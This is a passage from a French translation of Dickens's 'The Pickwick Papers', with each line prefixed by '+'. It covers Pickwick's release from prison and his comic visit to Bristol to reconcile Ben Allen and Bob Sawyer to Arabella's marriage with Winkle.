+bien de perdre même ce dernier parent. J'ai eu tort, très-grand tort, je
+le sais....» Ici la pauvre Arabelle cacha son visage dans son mouchoir,
+et se prit à pleurer amèrement.
+
+Le bon naturel de M. Pickwick avait bien de la peine à résister à ces
+larmes; mais quand Mme Winkle, séchant ses yeux, se mit à le câliner, à
+le supplier, avec les accents les plus doux de sa douce voix, il devint
+tout à fait indécis et mal à son aise, comme il le laissait voir
+suffisamment en frottant avec un mouvement nerveux les verres de ses
+lunettes, son nez, ses guêtres, sa tête et sa culotte.
+
+Prenant avantage de ces symptômes d'indécision, M. Perker, chez qui le
+jeune couple était débarqué dans la matinée, rappela, avec l'habileté
+d'un homme d'affaires, que M. Winkle _senior_ n'avait pas encore appris
+l'importante démarche que son fils avait faite; que le bien-être futur
+dudit fils dépendait entièrement de l'affection que continuerait à lui
+porter ledit M. Winkle _senior_; et que cette affection serait fort
+probablement endommagée si on lui cachait davantage ce grand événement;
+que M. Pickwick, en se rendant à Bristol pour voir M. Allen, pourrait
+également aller à Birmingham pour voir M. Winkle _senior_; enfin que M.
+Winkle _senior_ pouvant à juste titre regarder M. Pickwick comme le
+mentor et pour ainsi dire le tuteur de son fils, M. Pickwick se devait à
+lui-même de l'informer personnellement de toutes les circonstances de
+l'affaire, et de la part qu'il y avait prise.
+
+M. Tupman et M. Snodgrass arrivèrent fort à propos dans cet endroit de
+la plaidoirie; car comme il fallait bien leur apprendre ce qui était
+arrivé, avec les diverses raisons, pour et contre, la totalité des
+arguments fut passée en revue sur nouveaux frais; après quoi chaque
+personne présente répéta à son tour, à sa manière et à son aise, tous
+les raisonnements qu'elle put imaginer. À la fin M. Pickwick supplié,
+raisonné, de manière à renverser ses résolutions, et presque à troubler
+sa raison, prit Arabelle dans ses bras, déclara qu'elle était une
+charmante créature, que dès qu'il l'avait vue il avait eu de l'affection
+pour elle, et ajouta enfin qu'il n'avait pas le courage de s'opposer au
+bonheur de deux jeunes gens, et qu'ils pouvaient faire de lui tout ce
+qu'ils voudraient.
+
+Aussitôt que Sam eut entendu cette concession, il s'empressa de dépêcher
+Job Trotter à l'illustre M. Pell, pour lui demander la décharge dont M.
+Weller avait eu soin de le munir dans la prévision que quelque
+circonstance inattendue pourrait la rendre immédiatement nécessaire. Sam
+échangea ensuite tout ce qu'il avait d'argent comptant contre vingt-cinq
+gallons de porter, qu'il distribua lui-même dans le jeu de paume, à tous
+ceux qui en voulurent tâter; puis enfin il parcourut la prison en
+poussant des hourras, jusqu'à ce qu'il en eût perdu la voix, après quoi
+il retomba dans ses habitudes calmes et philosophiques.
+
+À trois heures de l'après-midi, M. Pickwick quitta pour toujours sa
+petite chambre, et traversa avec quelque peine la foule des débiteurs
+qui se pressaient autour de lui, pour lui donner des poignées de main.
+Quand il fut arrivé aux marches de la loge, il se retourna et ses yeux
+brillèrent d'un éclat céleste, car dans cette foule de visages hâves et
+amaigris, il n'en voyait pas un seul qui n'eût été plus malheureux
+encore, sans sa sympathie et sa charité.
+
+«Perker, dit-il au petit avoué, en faisant signe à un jeune homme de
+s'approcher: voici M. Jingle dont je vous ai parlé.
+
+--Très-bien, mon cher monsieur, répondit l'homme d'affaires en regardant
+Jingle d'un oeil scrutateur. Vous me reverrez demain, jeune homme, et
+j'espère que vous vous rappellerez, durant toute votre vie, ce que je
+vous communiquerai.»
+
+L'ex-comédien salua respectueusement, prit d'une main tremblante la main
+que lui offrait M. Pickwick, et se retira.
+
+«Vous connaissez Job? je pense, reprit notre philosophe en le présentant
+à M. Perker.
+
+--Oui, je connais le coquin, répondit celui-ci d'un ton de bonne
+humeur. Allez voir votre ami, et trouvez-vous ici demain à une heure,
+entendez-vous. Vous n'avez plus rien à me dire, Pickwick?
+
+--Rien du tout. Sam, vous avez donné à votre hôte le petit paquet que je
+vous ai remis pour lui?
+
+--Oui, monsieur, il s'est mis à pleurer, et il a dit que vous étiez bien
+bon et bien généreux, mais qu'il souhaiterait plutôt que vous puissiez
+lui faire inoculer une bonne apoplexie, vu que son vieil ami, avec qui
+il avait vécu si longtemps, est mort, et qu'il n'en trouvera plus jamais
+d'autre.
+
+--Pauvre homme! dit M. Pickwick: pauvre homme! Que Dieu vous bénisse,
+mes amis!»
+
+Lorsque l'excellent homme eut ainsi fait ses adieux, la foule poussa une
+acclamation bruyante, et beaucoup d'individus se précipitaient vers lui
+pour serrer de nouveau ses mains; mais il passa son bras sous celui de
+Perker et s'empressa de sortir de la maison, infiniment plus triste en
+cet instant que lorsqu'il y était entré. Hélas! combien d'êtres
+infortunés restaient là après lui; et combien y sont encore enchaînés!
+
+Ce fut une heureuse soirée, du moins pour la compagnie qui s'était
+rassemblée à l'hôtel de _George et Vautour_; et le lendemain matin il
+sortit de cette demeure hospitalière deux coeurs légers et joyeux, dont
+les propriétaires étaient M. Pickwick et Sam Weller. Le premier fut
+bientôt après déposé dans l'intérieur d'une bonne chaise de poste, et le
+second monta légèrement sur le petit siége de derrière.
+
+«Monsieur, cria le valet à son maître.
+
+--Eh! bien, Sam? répondit M. Pickwick en mettant la tête à la portière.
+
+--Je voudrais bien que ces chevaux-là soient restés trois mois en
+prison, monsieur.
+
+--Et pourquoi cela, Sam?
+
+--Ma foi, monsieur, s'écria Sam en se frottant les mains c'est qu'ils
+détaleraient d'un fameux train!»
+
+
+
+
+CHAPITRE XIX.
+
+Où l'on raconte comment M. Pickwick, avec l'assistance de Sam, essaya
+d'amollir le coeur de M. Benjamin Allen, et d'adoucir la rage de M.
+Robert Sawyer.
+
+
+M. Ben Allen et M. Bob Sawyer, assis en tête à tête dans leur
+arrière-boutique, s'occupaient activement à dévorer un hachis de veau et
+à faire des projets d'avenir, lorsque le discours tomba, assez
+naturellement, sur la clientèle acquise par le susdit Bob, et sur ses
+chances actuelles d'obtenir un revenu suffisant au moyen de l'honorable
+profession à laquelle il s'était dévoué.
+
+«Je les crois légèrement douteuses, dit l'estimable jeune homme, en
+suivant le fil de la conversation.
+
+--Légèrement douteuses? répéta M. Ben Allen; et, après avoir aiguisé son
+intelligence au moyen d'un verre de bière, il ajouta: Qu'est-ce donc que
+vous trouvez légèrement douteux?
+
+--Les chances que j'ai de faire fortune.
+
+--Je l'avais oublié, Bob. La bière vient de me faire souvenir que je
+l'avais oublié! C'est vrai, elles sont douteuses.
+
+--C'est étonnant comme les pauvres gens me patronnent, reprit Bob d'un
+ton réfléchi. Ils frappent à ma porte à toutes les heures de la nuit,
+prennent une quantité fabuleuse de médecines, mettent des vésicatoires
+et des sangsues, avec une persévérance digne d'un meilleur sort, et
+augmentent leur famille d'une manière véritablement hyperbolique. Six de
+ces petites lettres de change, échéant toutes le même jour, et toutes
+confiées à mes soins, Ben!
+
+--C'est une chose fort consolante, répondit M. Ben Allen en approchant
+son assiette du plat de hachis.
+
+--Oh! certainement. Seulement j'aimerais autant avoir la confiance de
+patients qui pourraient se priver d'un ou deux shillings. Cette
+clientèle-ci était parfaitement décrite dans l'annonce; c'est une
+_clientèle_..., une clientèle très étendue, et rien de plus!
+
+--Bob, dit M. Ben Allen en posant son couteau et sa fourchette, et en
+fixant ses yeux sur le visage de son ami; Bob, je vais vous dire ce
+qu'il faut faire.
+
+--Voyons.
+
+--Il faut vous rendre maître, aussi vite que possible, des mille livres
+sterling (25 000 fr.) d'Arabelle.
+
+--Trois pour cent consolidés, actuellement inscrits, en son nom, sur le
+livre du gouverneur et de la compagnie de la banque d'Angleterre, ajouta
+Bob Sawyer avec la phraséologie légale.
+
+--Exactement. Elle en jouira à sa majorité, ou lorsqu'elle sera mariée.
+Il s'en faut d'un an qu'elle ne soit majeure; et si vous aviez du
+toupet, il ne s'en faudrait pas d'un mois qu'elle ne fût mariée.
+
+--C'est une créature charmante, délicieuse, Ben, et elle n'a qu'un seul
+et unique défaut, mais malheureusement cette légère tache est un manque
+de goût. Elle ne m'aime pas.
+
+--Je crois qu'elle ne sait pas qui elle aime, répliqua M. Ben Allen d'un
+ton dédaigneux.
+
+--C'est possible: mais je crois qu'elle sait qui elle n'aime pas, et
+cela est encore plus grave.
+
+--Je voudrais, s'écria M. Ben Allen en serrant ses dents, et en parlant
+comme un guerrier sauvage qui dévore la chair crue d'un loup, après
+l'avoir déchiré avec ses ongles, plutôt que comme un jeune gentleman
+civilisé, qui mange un hachis de veau avec un couteau et une fourchette;
+je voudrais savoir s'il y a réellement quelque misérable qui ait essayé
+de gagner ses affections. Je crois que je l'assassinerais, Bob.
+
+--Si je le rencontrais, répondit M. Sawyer en s'arrêtant au milieu d'une
+longue gorgée de _porter_, et en regardant d'un air farouche par-dessus
+le pot; si je le rencontrais, je lui mettrais une balle de plomb dans le
+ventre; et si cela ne suffisait pas, je le tuerais en l'en extrayant.»
+
+Benjamin regarda pensivement et silencieusement son ami, pendant
+quelques minutes, puis il lui dit:
+
+«Vous ne lui avez jamais fait de propositions directes, Bob?
+
+--Non, parce que je savais que cela ne servirait à rien.
+
+--Vous lui en ferez avant qu'il se passe vingt-quatre heures; reprit
+Ben, avec le calme du désespoir. Elle vous épousera ou.... elle dira
+pourquoi. J'emploierai toute mon autorité.
+
+--Eh bien! nous verrons.
+
+--Oui, mon ami, nous verrons! répéta Ben Allen d'un ton féroce. Il se
+tut pendant quelques secondes, et ajouta d'une voix saccadée par
+l'émotion: Vous l'avez aimée dès son enfance, mon ami; vous l'aimiez
+quand nous étions à l'école ensemble, et dès lors elle faisait la
+bégueule et dédaignait votre jeune tendresse. Vous rappelez-vous qu'un
+jour, avec toute la chaleur d'un amour enfantin, vous la pressiez
+d'accepter une pomme et deux petits biscuits anisés, proprement
+enveloppés dans le titre d'un de vos cahiers d'écriture?
+
+--Oui, je me le rappelle.
+
+--Elle vous refusa, n'est-ce pas?
+
+--Oui, elle me dit que j'avais gardé le paquet dans la poche de mon
+pantalon, pendant si longtemps, que la pomme avait acquis une chaleur
+désagréable.
+
+--Je m'en souviens, reprit M. Allen d'un air sombre. Et là dessus, nous
+la mangeâmes nous-mêmes, en y mordant alternativement.»
+
+Bob Sawyer indiqua par le mélancolique froncement de ses sourcils qu'il
+se rappelait encore cette dernière circonstance; et les deux amis
+restèrent, durant quelques minutes, absorbés dans leurs méditations.
+
+Tandis que ces réflexions étaient échangées entre M. Bob Sawyer et M.
+Benjamin Allen, et tandis que le jeune garçon en livrée grise,
+s'étonnant de la longueur inaccoutumée du dîner, et ressentant de
+tristes pressentiments, relativement à la quantité de veau haché qui lui
+resterait, jetait de temps en temps vers la porte vitrée un regard plein
+d'anxiété, une voiture bourgeoise roulait pacifiquement à travers les
+rues de Bristol. C'était une espèce de coupé, peint d'une triste couleur
+verte, tiré par une espèce de cheval fourbu et conduit par un homme à
+l'air rechigné, dont les jambes étaient couvertes comme celles d'un
+groom, pendant que son corps était revêtu d'un habit de cocher. Ces
+apparences sont communes à beaucoup de voitures entretenues par de
+vieilles dames économes; et en effet, dans cette voiture, était assise
+une vieille dame, qui se vantait d'en être propriétaire.
+
+«Martin? dit la vieille dame en appelant l'homme rechigné par la glace
+de devant.
+
+--Eh bien? répondit l'homme rechigné en touchant son chapeau.
+
+--Chez M. Sawyer.
+
+--J'y allais.»
+
+La vieille dame fit un signe de satisfaction à cette preuve
+d'intelligence de son domestique; et l'homme rechigné, donnant un bon
+coup de fouet au cheval fourbu, ils arrivèrent, tous ensemble, devant la
+maison de M. Bob Sawyer.
+
+«Martin, dit la vieille dame quand la voiture fut arrêtée à la porte de
+M. Bob Sawyer, successeur de Nockemorf.
+
+--De de quoi?
+
+--Dites au garçon de faire attention au cheval.
+
+--J'y ferai ben attention moi-même, répondit le cocher-groom en posant
+son fouet sur l'impériale du coupé.
+
+--Non, cela ne se peut pas: votre témoignage sera très-important, et je
+vous emmènerai avec moi dans la maison. Vous ne bougerez pas de mon côté
+pendant toute l'entrevue, entendez-vous?
+
+--J'entends.
+
+--Eh bien! qu'est-ce qui vous arrête?
+
+--Rien.»
+
+En proférant ce monosyllabe, l'homme rechigné descendit posément de la
+roue, où il se balançait sur le gros orteil de son pied droit, appela le
+garçon en livrée grise, ouvrit la portière, abaissa le marchepied, et,
+étendant sa main enveloppée d'un gant de daim de couleur sombre,
+aveignit la vieille dame, d'un air aussi peu attentif que s'il s'était
+agi d'un paquet de linge.
+
+«Hélas! s'écria-t-elle; maintenant que me voilà ici, je suis si agitée,
+que j'en suis toute tremblante.»
+
+M. Martin toussa derrière son gant de daim, mais ne donna pas d'autres
+signes de sympathie. En conséquence, la vieille dame se calma, et,
+suivie de son domestique, monta les marches de M. Bob Sawyer. Aussitôt
+qu'elle fut entrée dans l'officine, MM. Ben Allen et Bob Sawyer, qui
+s'étaient empressés de faire disparaître les liqueurs et de répandre des
+drogues nauséabondes, pour dissimuler l'odeur du tabac, sortirent
+au-devant d'elle, avec des transports de plaisir et d'affection.
+
+«Ma chère tante, s'écria Benjamin; que vous êtes bonne d'être venue nous
+voir! Monsieur Sawyer, ma tante.... Mon ami, monsieur Bob Sawyer, dont
+je vous ai parlé.... ici, M. Ben Allen, qui n'était pas tout à fait à
+jeun, ajouta le mot _Arabelle_, d'un ton de voix qu'il croyait être un
+murmure, mais qui, en réalité, était si distinct et si élevé que
+personne n'aurait pu s'empêcher de l'entendre, même en y mettant toute
+la bonne volonté du monde.
+
+--Mon cher Benjamin, dit la vieille dame qui s'efforçait de reprendre
+haleine, et qui tremblait de la tête aux pieds, ne vous alarmez pas, mon
+cher enfant.... Mais je crois que je ferai mieux de parler à monsieur
+Sawyer en particulier, pour un instant, pour un seul instant.
+
+--Bob, dit M. Allen, voulez-vous emmener ma tante dans le laboratoire?
+
+--Certainement, répondit Bob d'une voix professionnelle. Passez par ici,
+ma chère dame. N'ayez pas peur, madame, je suis persuadé que nous
+remédierons à tout cela, en fort peu de temps. Ici, ma chère dame, je
+vous écoute.»
+
+En parlant ainsi, M. Bob Sawyer conduisait la vieille lady vers son
+fauteuil, fermait la porte, tirait une chaise auprès d'elle et attendait
+qu'il lui plût de détailler les symptômes de quelque maladie, dont il
+calculait déjà les profits probables.
+
+La première chose que fit la vieille dame fut de branler la tête un
+grand nombre de fois et de se mettre à pleurer.
+
+«Les nerfs agités, dit le chirurgien avec complaisance. Julep de
+camphre, trois fois par jour, et, le soir, potion calmante.
+
+--Je ne sais par où commencer, monsieur Sawyer. C'est si pénible, si
+désolant....
+
+--Ne vous tourmentez pas, madame; je devine tout ce que vous voudriez
+dire. La tête est malade.
+
+--Je serais bien désespérée de croire que c'est le coeur, répondit la
+dame avec un profond soupir.
+
+--Il n'y a pas le plus petit danger, madame. L'estomac est la cause
+primitive.
+
+--Monsieur Sawyer! s'écria la vieille dame en tressaillant.
+
+--Ce n'est pas douteux, madame; poursuivit Bob, d'un air prodigieusement
+savant. Une médecine, en temps utile, aurait prévenu tout cela.
+
+--Monsieur Sawyer! s'écria la vieille dame plus agitée qu'auparavant;
+cette conduite est une impertinence, à moins qu'elle ne provienne de ce
+que vous ne comprenez pas l'objet de ma visite. S'il avait été au
+pouvoir de la médecine, ou de la prudence humaine, de prévenir ce qui
+est arrivé, je ne l'aurais pas souffert, assurément. Mais je ferais
+mieux de parler à mon neveu, ajouta la vieille dame, en tortillant avec
+indignation son ridicule, et en se levant tout d'une pièce.
+
+--Attendez un moment, madame; j'ai peur de ne vous avoir pas bien
+comprise. De quoi s'agit-il? madame.
+
+--Ma nièce, monsieur Sawyer, la soeur de votre ami....
+
+--Oui, madame, interrompit Bob plein d'impatience; car la vieille lady,
+quoique extrêmement agitée, parlait avec la lenteur la plus
+tantalisante, comme le font volontiers les vieilles ladies. Oui madame.
+
+--A quitté ma maison, monsieur Sawyer, il y a quatre jours, sous
+prétexte d'aller faire une visite à ma soeur, qui est aussi sa tante, et
+qui tient une grande pension de demoiselles, près de la borne du
+troisième mille, où il y a un grand ébénier et une porte de chêne. En
+cet endroit, la vieille dame s'arrêta pour essuyer ses yeux.
+
+--Eh! que le diable emporte l'ébénier, s'écria Bob, à qui son anxiété
+faisait oublier sa dignité médicale. Allez un peu plus vite, je vous en
+supplie.
+
+--Ce matin, continua la vieille dame avec lenteur, ce matin elle....
+
+--Elle est revenue, je suppose, interrompit Bob vivement. Est-elle
+revenue?
+
+--Non, elle n'est pas revenue; elle a écrit.
+
+--Et que dit-elle? demanda Bob avec impatience.
+
+--Elle dit, monsieur Sawyer, et c'est à cela que je vous prie de
+préparer l'esprit de Benjamin, lentement et par degrés, monsieur Sawyer.
+Elle dit qu'elle est.... J'ai la lettre dans ma poche, mais j'ai laissé
+mes lunettes dans la voiture, et sans elles je ne ferais que perdre du
+temps, en essayant de vous montrer le passage. En un mot, elle dit
+qu'elle est mariée.
+
+--Quoi? dit ou plutôt beugla M. Bob Sawyer.
+
+--Mariée!» répéta la vieille dame.
+
+Bob n'en écouta pas davantage, mais, s'élançant du laboratoire dans la
+boutique, il s'écria d'une voix de stentor: «Ben, mon garçon, elle a
+décampé.»
+
+M. Ben Allen, dont les genoux s'élevaient à un demi-pied environ plus
+haut que la tête, était en train de sommeiller derrière le comptoir.
+Aussitôt qu'il eut entendu cette effrayante communication, il se
+précipita sur Martin, et entortillant sa main dans la cravate de ce
+taciturne serviteur, il exprima l'intention obligeante de l'étrangler
+sur place; ce qu'il commençait, effectivement, à exécuter avec cette
+promptitude que produit souvent le désespoir, et qui dénotait beaucoup
+de vigueur et d'adresse chirurgicale.
+
+M. Martin, qui n'était pas un homme verbeux, et qui comptait peu sur ses
+talents oratoires, se soumit durant quelques secondes à cette opération,
+avec une physionomie très-calme et très-agréable. Cependant,
+s'apercevant qu'elle devait en peu de temps le mettre hors d'état de
+jamais réclamer ses gages, il murmura quelques représentations
+inarticulées, et, d'un coup de poing, il étendit M. Benjamin Allen sur
+la terre; mais il fut immédiatement obligé de l'y suivre, car le
+tempérant jeune homme n'avait pas lâché sa cravate. Ils étaient donc là,
+tous les deux, en train de se débattre, lorsque la porte de la boutique
+s'ouvrit et laissa entrer deux personnages inattendus, M. Pickwick et
+Sam Weller.
+
+En voyant ce spectacle, la première impression produite sur l'esprit de
+Sam, fut que Martin était payé par l'établissement de Sawyer, successeur
+de Nockemorf, pour prendre quelque violent remède; ou pour avoir des
+attaques et se soumettre à des expériences, ou pour avaler de temps en
+temps du poison, afin d'attester l'efficacité de quelque nouvel
+antidote, ou pour faire n'importe quoi, dans l'intérêt de la science
+médicale, et pour satisfaire l'ardent désir d'instruction qui brûlait
+dans le sein des deux jeunes professeurs. Ainsi, sans se permettre la
+moindre intervention, Sam resta parfaitement calme, attendant, avec
+l'air du plus profond intérêt, le résultat de l'expérience; mais il n'en
+fut pas de même de M. Pickwick: il se précipita, avec son énergie
+accoutumée, entre les combattants étonnés et engagea à grands cris les
+assistante à les séparer.
+
+Ceci réveilla M. Sawyer qui, jusque-là, était resté comme paralysé par
+la frénésie de son compagnon. Avec son assistance, M. Pickwick remit Ben
+Allen sur ses pieds: quant à Martin, se trouvant tout seul sur le
+plancher, il se releva, et regarda autour de lui.
+
+«Monsieur Allen, dit M. Pickwick, qu'est-il donc arrivé?
+
+--Cela me regarde, monsieur, répliqua Benjamin, avec une hauteur
+provoquante.
+
+--Qu'est-ce qu'il y a, demanda M. Pickwick en se tournant vers Bob.
+Est-ce qu'il serait indisposé?»
+
+Avant que le pharmacien eût pu répliquer, Ben Allen saisit M. Pickwick
+par la main et murmura d'une voix dolente: «Ma soeur! mon cher monsieur,
+ma soeur!
+
+--Oh! est-ce là tout? répondit M. Pickwick. Nous arrangerons aisément
+cette affaire, à ce que j'espère. Votre soeur est en sûreté et bien
+portante, mon cher monsieur, je suis ici pour....
+
+--Demande pardon, monsieur, interrompit Sam, qui venait de regarder par
+la porte vitrée, fâché de faire quelque chose qui puisse déranger ces
+agréables opérations, comme dit le roi en mettant le parlement à la
+porte, mais il y a une autre expérience qui se fait là-dedans, une
+vénérable vieille qui est étendue sur le tapis, et qui attend pour être
+disséquée, ou galvanisée, ou quelque autre invention ressuscitante et
+scientifique.
+
+--Je l'avais oubliée! s'écria M. Allen; c'est ma tante.
+
+--Bonté divine! dit M. Pickwick. Pauvre dame! Doucement, Sam, doucement.
+
+--Une drôle de situation pour un membre de la famille, fit observer Sam,
+en hissant la tante sur une chaise. Maintenant apprenti carabin,
+apportez les volatils.»
+
+Cette dernière phrase était adressée au garçon en livrée grise, qui
+avait confié le coupé à un watchman, et était rentré pour voir ce que
+signifiait tant de bruit. Grâce à ses soins, à ceux de M. Bob Sawyer, et
+à ceux de M. Ben Allen, qui étant cause par sa violence de
+l'évanouissement de sa tante, se montrait plein d'une tendre sollicitude
+pour la faire revenir, la vieille dame fut à la fin rendue à la vie, et
+alors l'affectionné neveu se tournant vers M. Pickwick avec une
+physionomie tout ahurie, lui demanda ce qu'il allait dire lorsqu'il
+avait été interrompu d'une manière si alarmante.
+
+«Il n'y a ici que des amis, je présume?» dit M. Pickwick en toussant
+pour éclaircir sa voix et en regardant l'homme au visage rechigné.
+
+Ceci rappela à Bob Sawyer que le garçon en livrée grise était là,
+ouvrant de grands yeux, et des oreilles encore plus grandes. Il l'enleva
+par le collet de son habit, et l'ayant jeté de l'autre côté, il engagea
+M. Pickwick à parler sans réserve.
+
+«Votre soeur, mon cher monsieur, dit le philosophe, en se retournant
+vers Ben Allen, est à Londres, bien portante et heureuse.
+
+--Son bonheur n'est pas le but que je me propose, monsieur, répondit
+l'aimable frère, en faisant un geste dédaigneux de la main.
+
+--Son mari sera un but pour moi, monsieur! s'écria Bob; il sera un but
+pour moi, à douze pas, et j'en ferai un crible de ce lâche coquin!»
+
+C'était là un joli défi et fort magnanime; mais le pharmacien en
+affaiblit légèrement l'effet, en y ajoutant quelques observations
+générales sur les têtes ramollies, et sur les yeux au beurre noir,
+lesquelles n'étaient que des lieux communs en comparaison.
+
+--Arrêtez, monsieur! interrompit M. Pickwick; et avant d'appliquer ces
+épithètes au gentleman en question, considérez de sang-froid l'étendue
+de sa faute, et surtout rappelez-vous qu'il est mon ami.
+
+--Quoi! s'écria M. Bob Sawyer.
+
+--Son nom? vociféra Ben Allen, son nom?
+
+--M. Nathaniel Winkle,» répliqua M. Pickwick avec fermeté.
+
+À ce nom, Benjamin écrasa soigneusement ses lunettes sous le talon de sa
+botte, en releva les morceaux qu'il plaça dans trois poches différentes,
+se croisa les bras, se mordit les lèvres, et lança des regards menaçants
+sur la physionomie calme et douce de M. Pickwick. À la fin rompant le
+silence:
+
+«C'est donc vous, monsieur, qui avez encouragé et fabriqué ce mariage?
+
+--Et je suppose, interrompit la vieille dame, je suppose que c'est le
+domestique de monsieur qu'on a vu rôder autour de ma maison, pour
+essayer de corrompre mes gens. Martin?
+
+--De de quoi? dit l'homme rechigné en s'avançant.
+
+--Est-ce là le jeune homme que vous avez vu dans la ruelle, et dont vous
+m'avez parlé ce matin?»
+
+M. Martin, qui était un homme laconique, comme on l'a déjà vu,
+s'approcha de Sam, fit un signe de tête et grommela: «C'est l'homme.»
+Sam, qui n'était jamais fier, lui adressa un sourire de connaissance et
+confessa, en termes polis, qu'il avait déjà vu cette boule-là quelque
+part.
+
+«Et moi, s'écria Benjamin, moi qui ai manqué d'étrangler ce fidèle
+serviteur! Monsieur Pickwick, comment avez-vous osé permettre à cet
+individu de participer à l'enlèvement de ma soeur? Je vous prie de
+m'expliquer cela, monsieur.
+
+--Oui, monsieur, ajouta Bob avec violence, expliquez cela!
+
+--C'est une conspiration! reprit Ben.
+
+--Une véritable souricière, continua Bob.
+
+--C'est une honteuse ruse, poursuivit la vieille dame.
+
+--On vous a mis dedans, fit observer M. Martin.
+
+--Écoutez-moi, je vous en prie, dit M. Pickwick, tandis que M. Ben
+Allen, humectant copieusement son mouchoir, se laissait tomber dans le
+fauteuil où l'on saignait les malades. Je ne suis pour rien dans tout
+ceci, si ce n'est que j'ai voulu être présent à une entrevue des deux
+jeunes gens, que je ne pouvais pas empêcher, et dont je pensais écarter
+ainsi tout reproche d'inconvenance. C'est là toute la part que j'ai eue
+dans cette affaire, et même à cette époque, je ne me doutais pas que
+l'on pensât à un mariage immédiat. Cependant remarquez bien, ajouta M.
+Pickwick sur-le-champ, remarquez bien que je ne dis point que je
+l'eusse empêché si je l'avais su.
+
+--Vous entendez cela? reprit M. Benjamin Allen; vous l'entendez tous?
+
+--J'y compte bien, poursuivit paisiblement le philosophe, en regardant
+autour de lui; et j'espère qu'ils entendront ce qui me reste à dire,
+ajouta-t-il, d'une voix plus élevée et avec un visage plus coloré: c'est
+que vous aviez grand tort de vouloir forcer les inclinations de votre
+soeur, et que vous auriez dû plutôt, par votre tendresse et par votre
+complaisance, lui tenir lieu des parents qu'elle a perdus dès son
+enfance. Quant à ce qui regarde mon jeune ami, je dirai seulement que,
+sous le rapport de la fortune, il est dans une position au moins égale à
+la vôtre, si ce n'est supérieure, et que je refuse positivement de rien
+entendre davantage sur ce point, à moins que l'on ne s'exprime avec la
+modération convenable.
+
+--Je désirerais ajouter quelques observations à ce qui a été dit par le
+gentleman qui vient de quitter la tribune, dit alors Sam, en s'avançant.
+Voici ce que c'est: une personne de l'honorable société m'a appelé
+individu....
+
+--Cela n'a aucun rapport à la question, Sam, interrompit M. Pickwick.
+Retenez votre langue, s'il vous plaît.
+
+--Je ne veux rien dire sur ce sujet, monsieur. Mais voilà la chose:
+Peut-être que l'autre gentleman pense qu'il y avait un attachement
+antérieur; mais il n'y a rien de cette espèce-là, car la jeune lady a
+déclaré, dès le commencement, qu'elle ne pouvait pas le souffrir. Ainsi
+personne ne lui a fait du tort, et il ne serait pas plus avancé si la
+jeune lady n'avait jamais vu M. Winkle. Voilà ce que je désirais
+observer, monsieur, et maintenant j'espère que j'ai tranquillisé le
+gentleman.»
+
+Une courte pause suivit cette consolante remarque, après quoi M. Ben
+Allen se levant de son fauteuil protesta qu'il ne reverrait jamais le
+visage d'Arabelle, tandis que M. Bob, en dépit des assurances flatteuses
+de Sam, continuait à jurer qu'il tirerait une affreuse vengeance de
+l'heureux marié.
+
+Mais précisément à l'instant où les affaires avaient pris cette tournure
+menaçante, M. Pickwick trouva un allié inattendu et puissant, dans la
+vieille dame qui avait été vivement frappée de la manière dont il avait
+plaidé la cause de sa nièce. Elle s'approcha donc de Ben Allen, et se
+hasarda à lui adresser quelques réflexions consolantes, dont les
+principales étaient, qu'après tout il était heureux que la chose ne fût
+pas encore pire; que moins on parlerait, mieux cela vaudrait; qu'au
+bout du compte, il n'était pas prouvé que ce fût un si grand malheur;
+que ce qui est fait est fait, et qu'il faut savoir souffrir ce qu'on ne
+peut empêcher, avec différents autres apophthegmes aussi nouveaux et
+aussi réconfortants.
+
+À tout cela, M. Benjamin Allen répliquait qu'il n'entendait pas manquer
+de respect à sa tante, ni à aucune personne présente, mais que, si cela
+leur était égal, et si on voulait lui permettre d'agir à sa fantaisie,
+il préférerait avoir le plaisir de haïr sa soeur jusqu'à la mort, et par
+de là.
+
+À la fin, quand cette détermination eut été annoncée une cinquantaine de
+fois, la vieille dame se redressant tout à coup, et prenant un air fort
+majestueux, demanda ce qu'elle avait fait pour n'obtenir aucun respect à
+son âge, et pour être obligée de supplier ainsi son propre neveu, dont
+elle pouvait raconter l'histoire environ vingt-cinq ans avant sa
+naissance, et qu'elle avait connu personnellement avant qu'il eût une
+seule dent dans la bouche; sans parler de ce qu'elle avait été présente
+la première fois qu'on lui avait coupé les cheveux, et avait également
+assisté à nombre d'autres cérémonies de son enfance, toutes suffisamment
+importantes pour mériter à jamais son affection, son obéissance, sa
+vénération.
+
+Tandis que la bonne dame exorcisait ainsi M. Ben Allen, M. Pickwick
+s'était retiré dans le laboratoire avec M. Bob Sawyer; et celui-ci,
+durant leur conversation, avait appliqué plusieurs fois à sa bouche une
+certaine bouteille noire, sous l'influence de laquelle ses traits
+avaient pris graduellement une expression tranquille et même joviale. À
+la fin, il sortit de la pièce, bouteille en main, et faisant observer
+qu'il était très-fâché de s'être conduit comme un fou, il proposa de
+boire à la santé et au bonheur de M. et de Mme Winkle, dont il voyait la
+félicité avec si peu d'envie, qu'il serait le premier à les congratuler.
+En entendant ceci, M. Ben Allen se leva soudainement de son fauteuil,
+saisit la bouteille noire, et but le toast de si bon coeur, que son
+visage en devint presque aussi noir que la bouteille elle-même, car la
+liqueur était forte. Finalement la bouteille noire fut passée à la ronde
+jusqu'à ce qu'elle se trouva vide, et il y eut tant de poignées de main
+données, tant de compliments échangés, que le visage glacé de M. Martin
+lui-même condescendit à sourire.
+
+«Et maintenant, dit Bob en se frottant les mains, nous allons terminer
+joyeusement la soirée.
+
+--Je suis bien fâché d'être obligé de retourner à mon hôtel, répondit
+M. Pickwick; mais depuis quelque temps je ne suis plus accoutumé au
+mouvement, et mon voyage m'a excessivement fatigué.
+
+--Vous prendrez au moins un peu de thé, monsieur Pickwick, dit la
+vieille lady avec une douceur indescriptible.
+
+--Je vous suis bien obligé, madame, cela me serait impossible.»
+
+Le fait est que l'admiration visiblement croissante de la vieille dame
+était la principale raison qui engageait M. Pickwick à se retirer; il
+pensait à Mme Bardell, et chaque regard de l'aimable tante lui donnait
+une sueur froide.
+
+M. Pickwick ayant absolument refusé de rester, il fut convenu, sur sa
+proposition, que M. Ben Allen l'accompagnerait dans son voyage auprès du
+père de M. Winkle, et que la voiture serait à la porte le lendemain
+matin, à neuf heures. Il prit alors congé, et suivi de Sam, il se rendit
+à l'hôtel du _Buisson_. C'est une chose digne de remarque que le visage
+de M. Martin éprouva d'horribles convulsions lorsqu'il secoua la main de
+Sam en le quittant, et qu'il lâcha à la fois un juron et un sourire. Les
+personnes les mieux instruites des manières de ce gentleman ont conclu
+de ces symptômes, qu'il était enchanté de la société de Sam, et qu'il
+exprimait le désir de faire connaissance avec lui.
+
+«Voulez-vous un salon particulier, monsieur? demanda Sam à son maître,
+lorsqu'ils furent arrivés à l'hôtel.
